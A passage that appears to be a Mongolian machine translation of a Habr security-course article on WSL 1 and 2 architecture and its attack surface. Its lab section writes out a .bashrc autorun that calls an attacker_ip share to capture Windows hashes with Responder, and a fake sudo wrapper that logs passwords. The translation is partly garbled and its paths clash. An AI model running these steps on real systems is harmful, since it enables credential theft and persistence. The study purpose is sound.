WSL туршилтууд. 1-р хэсэг

Сайн уу, Хабр! OTUS XNUMX-р сард шинэ сургалтын урсгалыг эхлүүлнэ "Linux аюулгүй байдал". Хичээл эхлэхийг угтан манай багш нарын нэг Александр Колесниковын бичсэн нийтлэлийг та бүхэнтэй хуваалцаж байна.

WSL туршилтууд. 1-р хэсэг

2016 онд Майкрософт шинэ WSL технологийг мэдээллийн технологийн нийгэмлэгт нэвтрүүлсэн (Wоруулдаг Sдэд систем Linux), энэ нь ирээдүйд энгийн болон дэвшилтэт үйлдлийн системийн хэрэглэгчдийн дунд нэр хүндтэй болохын төлөө тэмцэж байсан урьд өмнө нь эвлэрээгүй өрсөлдөгчдийг нэгтгэх боломжтой болсон: Windows болон Linux. Энэхүү технологи нь Линукс үйлдлийн системийг Windows орчинд ашиглах, жишээлбэл, Multi-boot ашиглан Линукс ажиллуулах шаардлагагүй болсон. Habr дээр та WSL ашиглахын ашиг тусыг тайлбарласан олон тооны нийтлэлийг олж болно. Гэсэн хэдий ч харамсалтай нь, энэ нийтлэлийг бүтээх үед үйлдлийн системийн ийм симбиозын аюулгүй байдлын талаархи судалгааг энэ эх сурвалжаас олж чадаагүй байна. Энэ нийтлэл нь үүнийг засах оролдлого байх болно. Нийтлэлд WSL 1 ба 2 архитектурын онцлогуудын талаар ярих бөгөөд эдгээр технологийг ашигладаг системд халдсан хэд хэдэн жишээг авч үзэх болно. Нийтлэл нь 2 хэсэгт хуваагдана. Эхнийх нь Линукс болон Windows-ээс халдлагын үндсэн онолын аргуудыг өгөх болно. Хоёрдахь нийтлэл нь туршилтын орчинг бий болгож, халдлагыг дахин бүтээх болно.

WSL 1: архитектурын онцлог

WSL-ийн аюулгүй байдлын асуудалд хамгийн нарийвчлалтай хандахын тулд дэд системийг хэрэгжүүлэхтэй холбоотой гол нюансуудыг тодорхойлох шаардлагатай. WSL-ийн шийддэг хэрэглэгчийн гол ажлуудын нэг бол Windows үйлдлийн системтэй хост дээр Линукс терминалаар дамжуулан ажиллах чадвар юм. Мөн санал болгож буй нийцтэй байдал нь маш эх орон зай байсан тул Linux-ийн гүйцэтгэх файлуудыг (ELFs) Windows систем дээр шууд ажиллуулах боломжтой байв. Эдгээр зорилгод хүрэхийн тулд Windows 10-д тодорхой системийн дуудлагуудыг ашиглан Линукс програмуудыг ажиллуулах боломжийг олгодог тусгай дэд системийг бий болгосон бөгөөд ингэснээр Windows дээр Линуксийн системийн дуудлагын багцыг зураглах оролдлого хийсэн. Энэ нь шинэ драйверууд болон процессын шинэ форматыг нэмснээр биет байдлаар хэрэгжсэн. Архитектур нь харааны хувьд иймэрхүү харагдаж байв.

WSL туршилтууд. 1-р хэсэг

Үнэн хэрэгтээ Линукс үйлдлийн системтэй харилцах нь хэд хэдэн цөмийн модулиуд болон тусгай төрлийн процесс - pico-ээр зохион байгуулагдсан. Дээрх диаграмаас та хост дээрх Линукс дээр ажиллаж байгаа процесс нь эх байх ёстой бөгөөд ердийн Windows програмуудтай ижил нөөцийг ашиглах ёстойг харж болно. Гэхдээ үүнд хэрхэн хүрэх вэ? Төсөлд Зурах гүүр Өөр үйлдлийн системийн програмыг ажиллуулахын тулд үйлдлийн системийн шаардлагатай бүх бүрэлдэхүүн хэсгүүдийг (түүний хувилбараас хамааран) хангасан Windows-д зориулсан үйл явцын үзэл баримтлалыг боловсруулсан.

Санал болгож буй хийсвэрлэл нь өөр үйлдлийн системийг эхлүүлэх төлөвтэй байгаа үйлдлийн системд (ялангуяа Windows) анхаарлаа хандуулахгүй байх боломжийг олгосон бөгөөд ерөнхий хандлагыг санал болгосон гэдгийг анхаарна уу.

Тиймээс pico процесс доторх ямар ч програм Windows цөмийг харгалзахгүйгээр ажиллах боломжтой.

  1. Системийн дуудлагын нийцтэй байдал, орчуулгын асуудлыг тусгай үйлчилгээ үзүүлэгчид шийдэх ёстой;
  2. Хандалтын хяналтыг Security Monitor-ээр дамжуулан хийх ёстой. Монитор нь цөмд байрладаг тул Windows-д ийм процессуудад үйлчилгээ үзүүлэгч болж чадах шинэ драйвер хэлбэрээр шинэчлэх шаардлагатай болсон. Прототип пико процессыг схемийн дагуу доор үзүүлэв.

WSL туршилтууд. 1-р хэсэг

Линукс файлын систем нь том жижиг үсгээр ялгадаг файл болон лавлах нэрийг ашигладаг тул WSL-тэй ажиллахын тулд Windows-д 2 төрлийн файлын системийг нэмсэн - VolFS болон DriveFS. VolFS нь Линукс файлын системийн хэрэгжилт, DriveFS нь Windows-ийн дүрмийн дагуу ажилладаг боловч жижиг үсгийн мэдрэмжийг сонгох чадвартай файлын систем юм.

WSL 2

WSL 1 нь хэд хэдэн хязгаарлалттай байсан бөгөөд үүнийг хамгийн их даалгавруудыг шийдвэрлэхэд ашиглахыг зөвшөөрдөггүй байсан: жишээлбэл, 32 битийн Линукс програмуудыг ажиллуулах чадваргүй байсан бөгөөд төхөөрөмжийн драйверуудыг ашиглах боломжгүй байв. Тиймээс 2020 онд WSL 2 гарсан нь дэд системийг бий болгох хандлагыг өөрчилсөн. WSL 2 нь WSL 1-ийн нөөцийн хэрэглээний шинж чанарт тохирсон оновчтой виртуал машин юм. Одоо Windows үйлдлийн системийн хэрэглэгчийн шийдсэн асуудлаас хамааран та Линукс дэд системийн шаардлагатай хувилбарыг сонгож болно. Боломжит эмзэг байдлыг багасгахын тулд WSL 2-г Windows 10-д Hyper-V дээр үндэслэн хэрэгжүүлсэн. Энэ хэлбэрээр Windows нь Линукс үйлдлийн системийн цөмийг тусад нь ажиллуулах чадвартай. WSL-ийн 1-р хувилбар нь энэ талбарт Windows-ийн хөгжлийн чиг хандлагыг харуулах ёстой бета функцээр танилцуулагдсан тул Hyper-V руу шилжих нь зайлшгүй байсан гэдгийг санах нь зүйтэй. Эцсийн архитектур нь дараах байдалтай байна.

WSL туршилтууд. 1-р хэсэг

Энэ хувилбарт Windows болон Linux цөмүүд нь өөрийн нөөцтэй бөгөөд огтлолцол нь зөвхөн файлын системд байдаг боловч энэ огтлолцол бүрэн биш байна. Файлын систем хоорондын харилцан үйлчлэл нь 9P протоколыг ашиглан ажилладаг клиент-серверийн багцаар явагддаг.

Өнөөдөр Microsoft нь WSL 1 болон WSL 2-ын хооронд шилжих боломжийг олгодог. Хоёр хувилбарыг ашиглах боломжтой.

WSL аюулгүй байдал

Одоогийн байдлаар дэд системүүдийн хоорондын харилцаа холбоог довтлоход хууль ёсны үйлдлийн системийн хэрэгслийг ашиглах зарим арга барилыг тодорхойлсон хэд хэдэн ажил бий. Бид бичих явцад халдлагын хамаарлыг шалгахын тулд тэдний скриптийг ашиглах болно. Халдлага ба хувилбаруудын ерөнхий жагсаалт:

1. Файлын системийн хэрэгжилт: хандалтын эрх, хуваалцсан лавлах/мэдээлэл солилцох механизмын хүртээмж.

-аас нэвтрэх дүрэм зөрчсөнийг тогтоох судалгаа хийсэн Linux FS->Windows FS, Windows FS->Linux FS. Судалгаагаар зорилтот үйлдлийн систем дотор өгөгдсөн файлыг өөрчлөх чадварыг харуулсан. Мөн файлын системийн зарим хэсгийг орлуулах, хуулбарлах, устгах оролдлого хийсэн.

Хувилбар:

  • A. Windows үйлдлийн системээс халдлага - Linux үйлдлийн системийн /etc лавлахаас файлуудыг өөрчлөх.
  • B. Линукс үйлдлийн системээс халдлага - директор доторх файлуудыг өөрчлөх: C:Windows, C:Program Files, C:Users<User>

2. Сүлжээний стекийг хэрэгжүүлэх.

Судалгааг Windows дээрх Линукс үйлдлийн системээс халдлагын жишээ ашиглан хийсэн. Сүлжээний стекийн онцлог шинж чанаруудыг, тухайлбал янз бүрийн нөөцийн баталгаажуулалтын механизмуудыг ашигласан.

Хувилбар:

  • Windows систем дээр байрладаг порт руу нэвтрэх эрхийг нээж байна
  • Зохих эрхгүйгээр порт нээх
  • Windows үйлдлийн систем дээр elf файлыг ашиглан урвуу бүрхүүлийг ажиллуулж байна.

3. WSL дэд системийг ашиглан хортой програм хангамжийн процессуудыг эхлүүлэхийг нуух.

Судалгаа нь энгийн баримт дээр тулгуурласан - WSL 1-ийн хувьд аюулгүй байдлын дэд системүүд үйлдлийн системийн хууль ёсны үйлчилгээ үзүүлэгчийг ашиглан ажилладаг өөр цөм дэх үйл явдлыг таслан зогсоох боломжгүй. WSL 2-ын хувьд тохиолдсон үйл явдлыг харах арга байхгүй. хөнгөн виртуал машин доторх тусдаа цөмд.

Хувилбар:

1) Системд алсаас хандах програмыг ажиллуулж, бүртгэгдсэн үйл явдлуудыг үзнэ үү.

WSL 1 туршилтууд: хэш таслах (Windows)

Эцэст нь бид практик хэсэгт ирлээ. Эхлээд та туршилтын орчинг тохируулах хэрэгтэй. Бүх туршилтыг Windows 10 2004 суулгасан вандан сандал дээр хийнэ.WSL-д зориулсан үйлдлийн системийн дүрсээр Ubuntu 18.04 дүрсийг сонгосон. Зургийг санамсаргүй байдлаар сонгосон бөгөөд бусад нь адилхан ажиллах болно. Стенд байрлуулах тушаалууд:

Та эхлээд эхлүүлэх хэрэгтэй powershell.exe админаар.

WSL 1-ийн хувьд та дараах тушаалуудыг ажиллуулах хэрэгтэй.

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Стендийг дахин ачаалсны дараа та bash командыг дуудаж болно. Хэрэв бүх зүйл зөв хийгдсэн бол та Windows консол дээр үүнтэй төстэй гаралтыг харах болно:

    WSL туршилтууд. 1-р хэсэг

    Бид Kali Linux түгээлтийг халдагчийн машин болгон ашиглах болно; бүх машинууд нэг дотоод сүлжээнд байх ёстой.

    Бид Windows төхөөрөмж дээр WSL-д давуу эрхгүй ханддаг гэж бодъё. Линуксээс командыг дуудаж Линукс үйлдлийн систем рүү дайрахыг оролдъё. Довтолгоог хэрэгжүүлэхийн тулд бид энгийн автоматаар ажиллуулах техникийг ашиглах болно - бид Linux орчинд гүйцэтгэх скриптийг нэмнэ. Үүнийг хийхийн тулд та файлаа өөрчлөх хэрэгтэй .bashrc.

    WSL-тэй машин дээр бид дараахь зүйлийг гүйцэтгэдэг.

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Кали Линукс машин дээр бид дараахыг ажиллуулдаг:

    1. Responder -I eth0 -rdvw

    Windows үйлдлийн систем дээр bash-г ажиллуулцгаая.

    Бид Kali Linux машин дээр үр дүнг хүлээж байна:

    WSL туршилтууд. 1-р хэсэг

    Тиймээс бид Linux систем дээрх командыг гүйцэтгэх замаар WSL дэд системээр дамжуулан Windows хэрэглэгчийн хэшийг олж авсан.

    WSL 1 туршилтууд: хэрэглэгчийн нууц үгийг олж авах (Linux OS)

    Дахиад нэг туршилт хийцгээе. Энэ шалгалтын үеэр бид файлд нэмэх болно .bashrc Линукс үйлдлийн системийн хэрэглэгчийн нууц үгийг авахын тулд хэд хэдэн команд.

    bash-г ажиллуулаад тушаалуудыг оруулна уу:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Довтолгоог амжилттай дуусгахын тулд хэрэглэгч Сэм Линукс терминал дээр sudo руу залгах шаардлагатай. Үүний дараа Linux үйлдлийн системийн хэрэглэгчийн нууц үг файлд байх болно pass.txt:

    WSL туршилтууд. 1-р хэсэг

    Халдлагын хэрэгжилтийг зөвхөн онолын мэдээлэл өгөх зорилгоор өгсөн.

    Өгүүллийн дараагийн хэсэгт 9P протоколын хэрэгжилтийг тайлбарлаж, энэ протоколд зориулсан сканнер үүсгэх, мөн үүнийг ашиглан халдлага хийх талаар авч үзэх болно.

    Ашигласан уран зохиолын жагсаалт

    WSL туршилтууд. 1-р хэсэг

    Цааш унших

    Эх сурвалж: www.habr.com

    сэтгэгдэл нэмэх